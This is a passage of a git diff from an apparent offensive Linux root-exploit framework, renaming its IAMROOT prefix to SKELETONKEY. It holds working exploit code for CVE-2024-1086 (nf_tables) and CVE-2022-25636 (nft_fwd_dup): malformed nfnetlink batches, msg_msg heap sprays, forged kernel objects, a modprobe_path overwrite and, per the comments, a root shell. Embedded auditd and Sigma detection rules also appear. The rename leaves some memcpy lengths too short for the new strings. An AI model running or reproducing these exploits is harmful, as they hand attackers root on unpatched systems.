* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Notselwyn-style pipapo arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||
* payload tagged with the kaddr in the value-pointer slot. The
|
||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||
@@ -34,7 +34,7 @@
|
||||
* heap pointer.
|
||||
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
||||
* pipapo_elem whose value points at modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
|
||||
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
@@ -55,7 +55,7 @@
|
||||
* for unprivileged users even on a kernel-vulnerable host.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.14. Anything below predates it. */
|
||||
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||
"(introduced in 5.14)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
||||
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
|
||||
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
|
||||
* relies on a specific malformed verdict that libnftnl validates away.
|
||||
*
|
||||
* Each helper appends to a contiguous batch buffer at *off.
|
||||
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
||||
* PoC (greatly simplified):
|
||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
|
||||
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
|
||||
* data=verdict (the pipapo combo that holds the bad verdict),
|
||||
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
||||
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
||||
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* cross-cache groom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_s";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_s";
|
||||
|
||||
/* batch begin / end markers */
|
||||
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
|
||||
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* AND once on data_release → double free.
|
||||
*
|
||||
* We pack:
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
|
||||
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
||||
* data=verdict(GOTO chain-id=...) } }
|
||||
*/
|
||||
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||
* exploitable range for which Notselwyn's public PoC was validated)
|
||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_arb_ctx {
|
||||
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
||||
* The exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
||||
iamroot_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
* as the arb-write.
|
||||
*/
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nf_tables");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nf_tables");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
int qids[SPRAY_MSGS * 4];
|
||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||
drain_spray(qids, SPRAY_MSGS / 2);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Wire up the arb-write context and hand off to the shared
|
||||
* finisher. The finisher will:
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
|
||||
* which re-fires the trigger and sprays forged pipapo elems
|
||||
* - execve() the trigger binary to invoke modprobe
|
||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_MSGS / 2,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
|
||||
nft_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_spray(qids, ac.qused);
|
||||
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
* kernel panics on KASAN we don't want our parent process to be
|
||||
* the one that takes the hit. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
"fired (KASAN/oops can manifest as child signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
" cross-cache groom + modprobe_path overwrite\n"
|
||||
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (rc >= 20 && rc <= 25) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
|
||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
||||
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
||||
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
||||
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
|
||||
|
||||
static const char nf_tables_sigma[] =
|
||||
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
||||
"id: a72b5e91-iamroot-nf-tables\n"
|
||||
"id: a72b5e91-skeletonkey-nf-tables\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
||||
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
const struct iamroot_module nf_tables_module = {
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
||||
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nf_tables(void)
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
{
|
||||
iamroot_register(&nf_tables_module);
|
||||
skeletonkey_register(&nf_tables_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
|
||||
#define NF_TABLES_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
@@ -17,12 +17,12 @@ Original writeup:
|
||||
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
||||
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
||||
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
||||
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
||||
into kmalloc-512 with `IAMROOT_FWD` tags.
|
||||
into kmalloc-512 with `SKELETONKEY_FWD` tags.
|
||||
|
||||
`--full-chain` extends with stride-seeded forged action_entry
|
||||
overwrite aimed at modprobe_path via the shared finisher.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
#define NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_fwd_dup_module;
|
||||
|
||||
#endif
|
||||
+50
-50
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module
|
||||
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module
|
||||
*
|
||||
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
|
||||
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
|
||||
@@ -41,7 +41,7 @@
|
||||
* - nf_tables module loadable
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The offload code path only exists from 5.4 onward. Anything
|
||||
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
|
||||
" attacker can still hit the OOB.\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* Rule construction — the heart of the trigger.
|
||||
*
|
||||
* Strategy (Aaron Adams shape):
|
||||
* NEWTABLE netdev "iamroot_fdt"
|
||||
* NEWTABLE netdev "skeletonkey_fdt"
|
||||
* NEWCHAIN base chain on ingress, family=netdev,
|
||||
* flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what
|
||||
* drives nft_flow_rule_create() to call the offload hooks
|
||||
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* the adjacent kmalloc-512 chunk. Boom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
|
||||
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x46;
|
||||
memset(p.mtext, 0xAA, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD", 11);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
|
||||
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
|
||||
|
||||
int created = 0;
|
||||
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
* lockdep, KASAN can all shift it). We ship the layout for an
|
||||
* un-randomized x86_64 build in the exploitable range and rely on
|
||||
* the shared finisher's sentinel-file post-check to flag layout
|
||||
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' */
|
||||
memset(p.mtext, 0x52, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
|
||||
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
|
||||
|
||||
/* Plant kaddr at strided 0x10-byte offsets across the first
|
||||
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
||||
* Exploit driver.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 0: explicit user authorization. */
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* Gate 1: already root? */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
|
||||
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
/* --- --full-chain path: resolve offsets before forking ---------- *
|
||||
* Refuse cleanly if we can't reach modprobe_path. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nft_fwd_dup");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
(void)bring_lo_up();
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 32 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, &seq);
|
||||
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
|
||||
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fwd_arb_ctx ac = {
|
||||
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_QUEUES_GROOM,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_msg_msg(qids, ac.qused);
|
||||
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger ---------------- */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: namespace + trigger. */
|
||||
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
if (after < 0) after = slab_active("kmalloc-cg-512");
|
||||
|
||||
/* Breadcrumb for triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
|
||||
